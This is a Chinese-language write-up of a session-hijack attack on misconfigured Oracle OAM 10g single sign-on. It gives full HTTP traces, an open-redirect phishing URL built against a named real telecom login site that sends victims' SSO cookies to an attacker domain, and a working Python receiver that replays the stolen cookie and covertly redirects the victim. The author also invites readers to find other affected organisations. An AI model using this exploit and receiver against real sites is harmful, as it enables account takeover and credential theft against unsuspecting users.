Oracle OAM10g配置不当会导致用户在不知情的情况下被攻击者劫持。不得不说,这种方法为钓鱼攻击提供了一个全新领域。大概有99%的公司的Oracle数据库没有被正确配置。
去年年底,我和TOM在做一次安全评估当中,偶然发现一个非常复杂的单点登录(SSO),为了保证能够访问到请求的资源,它会处理18种不同的请求。在了解清楚并且绘制出来这些cookie和参数在登录过程中的作用后,挑选出来了作用最大的cookie:”ObSSOCookie”,它可以用来在各种web应用程序中进行验证。
在对网络进行快速了解后,发现这个cookie和Oracle访问管理器的SSO实现有关。所以我们现在就要找到一个获取到这个cookie的方法。
Oracle OAM认证流程
在介绍攻击方法之前,我们需要了解一下用户如何在Oracle SSO上进行身份验证的:
在上图中你可以看到当用户请求受保护的资源时,比如: https://somewebsite.com/protected/,OAM服务器会简单的认证一下访问的内容是否被保护,并且将结果返回(上图中的1,2步)。如果页面确实处于被保护的状态,那么Oracle OAM服务器就会将用户重定向到登陆界面进行登录。
原始的HTTP请求以及响应如下:
GET /protected/ HTTP/1.1 Accept: / Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Accept-Encoding: gzip, deflate Host: somewebsite.com Connection: Keep-Alive HTTP/1.1 302 Redirect Content-Length: 0 Location: http://someotherdomain.com/oam/server/obrareq.cgi?wh%3Dsomewebsite.com%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttps%3A%2F%2Fsomewebsite.com%20ru%3D%252Fprotected%252F Server: Microsoft-IIS/7.5 Set-Cookie: ObSSOCookie=loggedoutcontinue; httponly; path=/ X-Powered-By: ASP.NET Date: Fri, 09 Mar 2012 16:14:16 GMT GET /oam/server/obrareq.cgi?wh%3Dsomewebsite.com%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttps%3A%2F%2Fsomewebsite.com%20ru%3D%252Fprotected%252F HTTP/1.1 Accept: / Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Accept-Encoding: gzip, deflate Host: someotherdomain.com Connection: Keep-Alive HTTP/1.1 200 OK Cache-Control: no-cache, no-store Date: Fri, 09 Mar 2012 16:16:55 GMT Pragma: no-cache Content-Length: 3326 Content-Type: text/html; charset=UTF-8 Expires: 0 Set-Cookie: OAMREQ=VERSION4~KJTasxCSm1Z1LVGtpMwu5nJ3cwSYLNx1TGFLYN7tRq3Jr1Pin693MMCJJHQ6bPQL1vSxK3En%... X-ORACLE-DMS-ECID: bc0b467a62ba363a:-50e866c2:135cc4d3539:-8000-0000000000000ab5 X-Powered-By: Servlet/2.5 JSP/2.1
OAM服务器会在用户浏览器中设置名为”OAMREQ”的cookie,用于保存用户请求资源所在位置的信息。这样在下一次请求时OAM服务器就会了解到用户正在认证哪个资源。现在用户正在进行登录,需要他去输入帐号以及密码。这时我们会了解到认证流程的第二部分:
用户将帐号密码提交给服务器认证,并且返回给用户各种cookie,其中如果认证通过,”ObSSoCookie”就会作为其中之一cookie返回给用户。
所以流程已经清楚了,下面就是正常的请求以及响应数据包:
OST /oam/server/auth_cred_submit HTTP/1.1 Accept: text/html, application/xhtml+xml, / Referer: http://someotherdomain.com/oam/server/obrareq.cgi?wh%3Dsomewebsite.com%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttp%3A%2F%2Fsomewebsite.com%20ru%3D%252Fprotected%252F Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Host: someotherdomain.com Content-Length: 67 Connection: Keep-Alive Cache-Control: no-cache Cookie: OAMREQ=VERSION4~KJTasxCSm1Z1LVGtpMwu5nJ3cwSYLNx1TGFLYN7tRq3Jr1Pin693MMCJJHQ6bPQL1vSxK3En%... username=User1&password=User123456&request_id=-8330979068306697433 HTTP/1.1 302 Moved Temporarily Connection: close Date: Fri, 09 Mar 2012 16:17:01 GMT Transfer-Encoding: chunked Location: http://somewebsite.com/obrar.cgi?cookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D%20redirectto=%252Fprotected%252F%20ssoCookie=httponly Set-Cookie: OAMID=VERSION4~C7Iz5I0rodPWWPLR82CoQg~bP8dGW/YVqe1NaHiCaZ3z6p2dbxVbpJpcSYMU6LVzUSBHp0C9OtSKbtvUlHHDsGImCi8KtAh3CLHXN+paF2+ZyxNOZOge2Mg2aH6vF8Wy2fUgIEYAVYjtVrP4bVTC0GpM7S6dt3XpjR/AHScYUdQNp5Olr5D3gSlBAnXWcyYxY9u/x620d5LHIYvBdZvqZzVsfAAV/5KovBKD/5wvhPWI/JDkYoUdT37VoaDp7BS1lOumUtTqzXkQTzMzAkLCzhS0M1NyCYTiT9904bIxfzhJw; path=/; HttpOnly Set-Cookie: OAM_REQ=invalid; path=/; HttpOnly X-ORACLE-DMS-ECID: bc0b467a62ba363a:-50e866c2:135cc4d3539:-8000-0000000000000ab7 X-Powered-By: Servlet/2.5 JSP/2.1 GET /obrar.cgi?cookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D%20redirectto=%252Fprotected%252F%20ssoCookie=httponly HTTP/1.1 Accept: text/html, application/xhtml+xml, / Referer: http://someotherdomain.com/oam/server/obrareq.cgi?wh%3Dalpha%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttp%3A%2F%2Falpha%20ru%3D%252Fprotected%252F Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Cookie: ObSSOCookie=loggedoutcontinue Accept-Encoding: gzip, deflate Connection: Keep-Alive Cache-Control: no-cache Host: somewebsite.com HTTP/1.1 302 Redirect Content-Length: 0 Location: /protected/ Server: Microsoft-IIS/7.5 Set-Cookie: ObSSOCookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D;httponly; path=/ X-Powered-By: ASP.NET Date: Fri, 09 Mar 2012 16:14:22 GMT GET /protected/ HTTP/1.1 Accept: text/html, application/xhtml+xml, / Referer: http://someotherdomain.com/oam/server/obrareq.cgi?wh%3Dalpha%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttp%3A%2F%2Falpha%20ru%3D%252Fprotected%252F Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Cookie: ObSSOCookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D Accept-Encoding: gzip, deflate Connection: Keep-Alive Cache-Control: no-cache Host: somewebsite.com HTTP/1.1 200 OK Cache-Control: no-cache,private Pragma: no-cache Content-Type: text/html Content-Encoding: gzip Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Fri, 09 Mar 2012 16:14:22 GMT Content-Length: 2495
对Oracle访问管理器的介绍就到此为止了,我们现在就要介绍如何对它进行会话劫持~
会话劫持
你可能在上述请求过程中发现了一些明显的标志:
1. rh参数表示被保护的目录地址
2. cookie是通过GET请求传递的。
没错,cookie确实是通过get请求进行传递的..
现在的挑战就是盗取cookie的值,然后劫持用户会话。但是根据Oracle文档,OAM服务器会验证资源是否是保护的,因此我们首先需要访问一个不存在的页面
我们首先发送请求到OAM服务器:
https://<some domain>/oam/server/obrareq.cgi?wh=<some_internal_domain> wu=<some_webpage> wo=1 rh=http://localhost ru=/this/does/not/exist.html
我们的请求会让OAM服务器将我们的页面重定向到http://localhost/this/does/not/exist.html中,不过这个页面根本不存在。它并没有将我们重定向到登录页面,这看起来有戏~
我们现在已经从OAM服务器中获取到了OAMREQ这个cookie,用于记录登录成功之后跳转的页面。然而现在仍然有很大的疑问,为什么我们访问了一个不存在的页面,OAM服务器确返回给我们一个有效的cookie值。
先不管他,我们先提交上去登录凭证,令我们很惊讶的是,OAM服务器将页面重定向到:
http://localhost/obrar.cgi?cookie=<LOOOOOOONG_COOKIE_VALUE>
等等,我们是不是收到了一个不存在页面的cookie,或许这个cookie只是在http://localhost这个域中有效,在真正域名下不一定有效,下面给出测试结果。
我们将GET请求从"http://localhost/obrar.cgi?cookie="替换为"http:///obrar.cgi?cookie=",我们竟然登录成功了!!!
返回包如下:
HTTP/1.1 200 OK Cache-Control: no-cache,private Pragma: no-cache Content-Type: text/html Content-Encoding: gzip Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Fri, 09 Mar 2017 14:14:22 GMT Content-Length: 2495
所以这里有两个”漏洞”:
1. 重定向开启 2. cookie值使用GET方法传递
我们可以通过修改cookie控制用户登录之后的路径,我们也可以读取到用户的cookie,了解到他要登录的地址,进而劫持会话。
我们唯一需要做的就是让用户点击我们发送给他的登录页面,他的确会登录到真实的页面中,所以并不会引起怀疑。如果他已经登录,我们将会收到他的cookie,同样不会产生任何怀疑。
全球曝光
一开始我认为只是个别情况下配置不正确,不可能大部分Oracle 10g都出现错误..
不过,我想错了..
我们发现数百个国际知名组织具有相同的配置问题,所有这些阻止都可以被会话劫持。我们测试了100个国际知名组织的域名,其中只有一个抵御了我们的攻击。不过我们不会公开受影响的域名,你可以自己去寻找。
我们一开始寻找使用OAM SSO方案并且运行错误配置的域名,我们很快找到了德国电信公司:https://my.telekom.ro
想要登录到https://my.telekom.ro网站的用户会得到类似下方url的重定向地址:
https://my.telekom.ro/oam/server/obrareq.cgi?wh%3DIAMSuiteAgent+wu%3D%2Fms_oauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+wo%3DGET+rh%3Dhttps%3A%2F%2Fmy.telekom.ro%3A443%2Fms_oauth%2Foauth2%2Fui%2Foauthservice+ru%3D%2Fms_oauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+rq%3Dresponse_type%253dcode%26client_id%253d98443c86e4cb4f9898de3f3820f8ee3c%26redirect_uri%253dhttp%25253A%25252F%25252Fantenaplay.ro%25252Ftkr%26scope%253dUserProfileAntenaPlay.me%26oracle_client_name%253dAntenaPlay
点击上方链接将重定向到:
https://my.telekom.ro/ssologin/ssologin.jsp?contextType=external&username=string&OverrideRetryLimit=0&contextValue=%2Foam&password=sercure_string&challenge_url=https%3A%2F%2Fmy.telekom.ro%2Fssologin%2Fssologin.jsp&request_id=-9056979784527554593&authn_try_count=0&locale=nl_NL&resource_url=https%253A%252F%252Fmy.telekom.ro%253A443%252Fms_oauth%252Foauth2%252Fui%252Foauthservice%252Fshowconsent%253Fresponse_type%25253Dcode%252526client_id%25253D98443c86e4cb4f9898de3f3820f8ee3c%252526redirect_uri%25253Dhttp%25253A%25252F%25252Fantenaplay.ro%25252Ftkr%252526scope%25253DUserProfileAntenaPlay.me%252526oracle_client_name%25253DAntenaPlay
用户必须提交他们的帐号密码才能访问到他们信息,如果我们将第一个url更改为:
https://my.telekom.ro/oam/server/obrareq.cgi?wh%3DIAMSuiteAgent+wu%3D%2Fmsoauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+wo%3DGET+rh%3Dhttp%3A%2F%2Four_malicious_domain%2Fmsoauth%2Foauth2%2Fui%2Foauthservice+ru%3D%2Fmsoauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+rq%3Dresponsetype%253dcode%26clientid%253d98443c86e4cb4f9898de3f3820f8ee3c%26redirecturi%253dhttp%25253A%25252F%25252Fantenaplay.ro%25252Ftkr%26scope%253dUserProfileAntenaPlay.me%26oracleclientname%253dAntenaPlay
我们诱使用户点击一下链接,因为ssl通信方式并没有变化,而且这并不像是一个普通的钓鱼链接,这个链接跳转到了真正的登录页面,用户输入完成之后,凭证会发送到我们设置的接受端(http://our_malicious_domain).
我们的接受端会盗取用户的cookie,然后使用cookie进行登录,接下来将得到的cookie重定向回原来的网站。这样一来,攻击者和受害者同时登录,而且受害者也不会发觉。
接收端POC
#!/usr/bin/env python """ Oracle OAM 10g Session Hijack usage: Oracle_PoC.py -d redirect_domain Default browser will be used to open browser tabs PoC tested on Windows 10 x64 using Internet Explorer 11 positional arguments: """ import SimpleHTTPServer import SocketServer import sys import argparse import webbrowser import time def redirect_handler_factory(domain): class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): if self.path.endswith("httponly") or self.path.endswith("%252F") or self.path.endswith("do") or self.path.endswith("adfAuthentication"): webbrowser.open_new("https://" + domain) #Load website in order to retrieve any other cookies needed to login properly time.sleep( 5 ) webbrowser.open("https://"+ domain +"/" + self.path, new=0, autoraise=True) #Use received cookie to login on to the website time.sleep( 5 ) self.send_response(301) self.send_header('Location','https://'+ domain +'/'+ self.path) #Send same cookie to the victim and let him log-in as well, to not raise any suspicion ;) self.end_headers() return else: print self.path return RedirectHandler def main(): parser = argparse.ArgumentParser(description='Oracle Webgate 10g Session Hijacker') parser.add_argument('--port', '-p', action="store", type=int, default=80, help='port to listen on') parser.add_argument('--ip', '-i', action="store", default="0.0.0.0", help='host interface to listen on') parser.add_argument('--domain','-d', action="store", default="localhost", help='domain to redirect the victim to') myargs = parser.parse_args() port = myargs.port host = myargs.ip domain = myargs.domain redirectHandler = redirect_handler_factory(domain) handler = SocketServer.TCPServer((host, port), redirectHandler) print("serving at port %s" % port) handler.serve_forever() if __name__ == "__main__": main()
视频